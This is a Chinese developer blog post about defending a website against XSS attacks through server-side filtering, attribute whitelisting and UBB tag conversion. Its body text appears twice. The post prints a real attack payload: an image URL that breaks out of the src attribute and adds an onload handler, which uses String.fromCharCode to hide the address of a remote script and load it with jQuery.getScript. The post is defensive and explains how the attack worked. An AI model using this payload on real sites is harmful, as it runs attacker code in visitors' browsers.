xss-javascript被攻击系列--(二)
2017-12-23 15:09
585 查看
虽然服务器端已经将cookies漏洞堵住了,可是脚本还是可以执行,威胁依然没有消除。
怎么阻止脚本执行,暂时想到的有3点:如下
1:去掉所有dom节点的所有onEvent事件
2:可以添加外部链接有关的属性,为属性值添加白名单限制。
3:去掉javascript,$,,jquery等脚本关键字
这些都是由服务器端来做,有点暴力。可至少可以保证网页中的内容是安全的。先堵上漏洞再说。
前端能做点什么呢,查询了相应的资料,加入自己的ubb机制。
白名单标签做ubb转换,下边给出常用的一些实例。
a标签: [a]链接地址[/a]
img标签:
embed标签:[embed attribute=属性名称]视频地址[/embed]
其他的标签可以根据自己的项目做具体的转化。
服务器接收到这些格式的字符时,在经过安全机制过滤,并做HTML编码后,再存入库中。在页面回显时,再会将白名单中的标签转换为html标签返回给前端。这时展示到页面中的内容基本安全了。
再给出一个恶意代码:
1:此代码可以在img标签中回显,中间的双引号会将src=“”属性值的 “ 截断,onload就可以正常的解析,恶意脚本就会被成功执行。这种截断的机制可以用在html标签尖括号上,导致页面布局错乱。
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。看似正常的数值,可经过这个函数处理后,其实就可以是恶意脚本的地址。
部署上线后,终于消停了。
战斗还没有结束,有可图的利益,安全问题就一直会出现。在这条路上才是刚刚开始,有好的建议多多交流哦。
怎么阻止脚本执行,暂时想到的有3点:如下
1:去掉所有dom节点的所有onEvent事件
2:可以添加外部链接有关的属性,为属性值添加白名单限制。
3:去掉javascript,$,,jquery等脚本关键字
这些都是由服务器端来做,有点暴力。可至少可以保证网页中的内容是安全的。先堵上漏洞再说。
前端能做点什么呢,查询了相应的资料,加入自己的ubb机制。
白名单标签做ubb转换,下边给出常用的一些实例。
a标签: [a]链接地址[/a]
img标签:
embed标签:[embed attribute=属性名称]视频地址[/embed]
其他的标签可以根据自己的项目做具体的转化。
服务器接收到这些格式的字符时,在经过安全机制过滤,并做HTML编码后,再存入库中。在页面回显时,再会将白名单中的标签转换为html标签返回给前端。这时展示到页面中的内容基本安全了。
再给出一个恶意代码:
1:此代码可以在img标签中回显,中间的双引号会将src=“”属性值的 “ 截断,onload就可以正常的解析,恶意脚本就会被成功执行。这种截断的机制可以用在html标签尖括号上,导致页面布局错乱。
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。看似正常的数值,可经过这个函数处理后,其实就可以是恶意脚本的地址。
http://***.**.myqcloud.com/17/12/06/11/ea9a5705487c6e81"onload=jQuery.getScript(String.fromCharCode(47,47,108,51,49,46,99,99,47,49,46,106,115))<!--
部署上线后,终于消停了。
战斗还没有结束,有可图的利益,安全问题就一直会出现。在这条路上才是刚刚开始,有好的建议多多交流哦。
相关文章推荐
- xss-javascript被攻击系列--(一)
- 演示XSS漏洞攻击 | 发帖如何提交javascript代码
- Web安全系列(三):XSS 攻击进阶(挖掘漏洞)
- Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)
- web安全系列(一):XSS 攻击基础及原理
- 深入理解JavaScript系列(28):设计模式之工厂模式
- javascript笔记整理系列 - canvas
- JavaScript系列文章:自动类型转换
- 深入理解JavaScript系列(14):作用域链(Scope Chain)
- 深入理解JavaScript系列(30):设计模式之外观模式
- 深入理解JavaScript系列(47):对象创建模式(上篇)
- 深入理解JavaScript系列(6):S.O.L.I.D五大原则之单一职责SRP
- JavaScript语法入门系列(七) 类和对象(自定义类)
- 深入理解JavaScript系列(32):设计模式之观察者模式
- 深入理解JavaScript系列(48):对象创建模式(下篇)
- AngularJS系列之JavaScript语法
- <读书笔记>JavaScript系列之7种创建对象(面向对象)
- 深入理解JavaScript系列(9):根本没有“JSON对象”这回事!
- JavaScript专精系列(1)——值类型和引用类型
- ASP.NET MVC 阻止 JavaScript 注入攻击